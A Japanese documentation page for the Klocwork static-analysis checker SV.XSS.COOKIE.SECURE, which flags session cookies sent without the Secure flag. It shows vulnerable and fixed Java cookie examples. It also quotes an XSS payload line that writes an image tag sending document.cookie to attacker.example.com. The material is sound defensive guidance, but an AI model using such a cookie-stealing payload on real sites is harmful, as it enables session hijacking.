SV.XSS.COOKIE.SECURE

安全なプロトコルがなくても反応する cookie

Klocwork は、クライアントが Web サイトとやりとりするためのセッション ID を保存するために使用される cookie が HTTPS や SSL などの安全なプロトコルで送信されないときに、SV.XSS.COOKIE.SECURE 欠陥を報告します。

リリース 2023.2 の時点で、このチェッカーは Jakarta EE をサポートしています。

脆弱性とリスク

クロスサイトスクリプティング (XSS) を実行できる攻撃者は、次のような悪意のあるスクリプトを挿入する可能性があります。

コピー
 document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie .'">'

クライアントがこのスクリプトをロードして実行すると、攻撃者が制御する Web サイトにリクエストを行います。その後、攻撃者はそのリクエストをログに記録し、クッキーを盗むことができます。

軽減と防止

setSecure フラグは、HTTPS や SSL などの安全なプロトコルを使用することでのみ、cookie を送信する必要があることをブラウザーに示します。設定すると、そのフラグをサポートするブラウザーは、安全でないプロトコルでは cookie の内容を送信しません。

脆弱コード例 1

コピー
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   response.addCookie(c);

Klocwork は、応答に追加する前に setSecure フラグが cookie で設定されていないため、3 行目で「HTTPS や SSL などの安全なプロトコルのない cookie での攻撃の可能性」という、SV.XSS.COOKIE.SECURE 欠陥を報告します。

修正コード例 1

コピー
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   c.setSecure(true);
   response.addCookie(c);

3 行目で setSecure フラグが cookie で設定されているため、Klockwork は 4 行目で SV.XSS.COOKIE.SECURE 欠陥を報告しなくなります。

脆弱コード例 2

コピー
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   c.setSecure(false);
   response.addCookie(c);

Klocwork は、応答に追加する前に setSecure フラグが cookie で設定されていないため、4 行目で「HTTPS や SSL などの安全なプロトコルのない cookie での攻撃の可能性」という、SV.XSS.COOKIE.SECURE 欠陥を報告します。

修正コード例 2

コピー
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   c.setSecure(true);
   response.addCookie(c);

3 行目で setSecure フラグが cookie で設定されているため、Klockwork は 4 行目で SV.XSS.COOKIE.SECURE 欠陥を報告しなくなります。

関連チェッカー